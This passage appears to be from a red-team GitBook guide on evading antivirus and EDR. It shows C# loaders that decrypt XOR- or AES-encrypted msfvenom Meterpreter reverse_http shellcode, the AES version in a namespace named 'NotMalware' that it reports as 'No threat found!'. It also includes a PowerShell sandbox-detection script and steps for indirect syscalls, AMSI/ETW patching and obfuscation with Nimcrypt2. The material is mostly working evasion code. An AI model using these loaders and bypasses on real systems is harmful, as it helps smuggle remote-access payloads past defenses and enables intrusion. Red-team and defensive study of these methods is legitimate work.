XOR our shellcode with the value 0x5C (make sure to get rid of new lines, as this breaks the recipe).
Replace the shellcode in the program with the output, and then add a short loop which XORs each byte with 0x5C just before writing the shellcode to memory
<SNIP>
// XOR'd shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
byte[] buf = new byte[] { <SNIP> }
// Allocate RW space for shellcode
<SNIP>
// Decrypt shellcode
int i = 0;
while (i < buf.Length)
{
buf[i] = (byte)(buf[i] ^ 0x5c);
i++;
}
// Copy shellcode into allocated space
<SNIP>
Still detected:
AES Encryption
Modified code
<SNIP>
using System.Security.Cryptography;
namespace NotMalware
{
internal class Program
{
<SNIP>
static void Main(string[] args)
{
// Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
string bufEnc = "<SNIP>";
// Decrypt shellcode
Aes aes = Aes.Create();
byte[] key = new byte[16] { 0x1f, 0x76, 0x8b, 0xd5, 0x7c, 0xbf, 0x02, 0x1b, 0x25, 0x1d, 0xeb, 0x07, 0x91, 0xd8, 0xc1, 0x97 };
byte[] iv = new byte[16] { 0xee, 0x7d, 0x63, 0x93, 0x6a, 0xc1, 0xf2, 0x86, 0xd8, 0xe4, 0xc5, 0xca, 0x82, 0xdf, 0xa5, 0xe2 };
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] buf;
using (var msDecrypt = new System.IO.MemoryStream(Convert.FromBase64String(bufEnc)))
{
using (var csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using (var msPlain = new System.IO.MemoryStream())
{
csDecrypt.CopyTo(msPlain);
buf = msPlain.ToArray();
}
}
}
// Allocate RW space for shellcode
<SNIP>
"No threat found!"
But .... Behavorial detection
Basic Bypass
Amsitrigger flag "System.AppDomain" in PowerUp.ps1
# Target VMware and VirtualBox
$EvidenceOfSandbox = New-Object System.Collections.ArrayList
$FilePathsToCheck = 'C:\windows\System32\Drivers\Vmmouse.sys’,
'C:\windows\System32\Drivers\vm3dgl.dll',
'C:\windows\System32\Drivers\vmdum.dll’,
'C:\windows\System32\Drivers\vm3dver.dll',
'C:\windows\System32\Drivers\vmtray.dll',
'C:\windows\System32\Drivers\vmci.sys',
'C:\windows\System32\Drivers\vmusbmouse.sys',
'C:\windows\system32\Drivers\vmx_svga.sys',
'C:\windows\system32\Drivers\vmxnet.sys',
'C:\windows\System32\Drivers\VMToolsHook.dll',
'C:\windows\System32\Drivers\vmhgfs.dll',
'C:\windows\System32\Drivers\vmmousever.dll',
'C:\windows\System32\Drivers\vmGuestLib.dll',
'C:\windows\System32\Drivers\VmGuestLibJava.dll',
'C:\windows\System32\Drivers\vmscsi.sys',
'C:\windows\System32\Drivers\VBoxMouse.sys',
'C:\windows\System32\Drivers\VBoxGuest.sys',
'C:\windows\System32\Drivers\VBoxSF.sys',
'C:\windows\System32\Drivers\VBoxVideo.sys'
ForEach ($FilePath in $FilePathsToCheck) {
if (Test-Path $FilePath) {
[void]$EvidenceOfSandbox.Add($FilePath)
}
}
if ($EvidenceOfSandbox.count -eq 0) {
} else {
Write-Output "The following files on disk suggest we are running in a sandbox. Caution!."
$EvidenceOfSandbox
}
Payload Delivery
Use NetLoader with CsWhispers to add D/Invoke and indirect syscall execution
Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code' under build configuration.
Create a new file called CsWhispers.txt under CsWhispers.Sample and append NT API and struct equivalents that are required to be replaced in the NetLoader project.
Finally, append the NetLoader project into CSWhispers.Sample and replace appropriate WinAPIs with their NT equivalents. Build the solution.
Obfuscate the generated assembly using Nimcrypt2.
NetLoader can be used to loadbinary from filepathor URL and patch AMSI & ETW while executing.
Instead of using Invoke-Expression, simply copy and paste the script directly into the PowerShell terminal, storing it in a variable and then loading it into memory using an alternative method.
Other Tools
Interesting Books
Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
Resources
Obfuscate PEBytes content -> use packers:
Download Mimikatz and
The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.
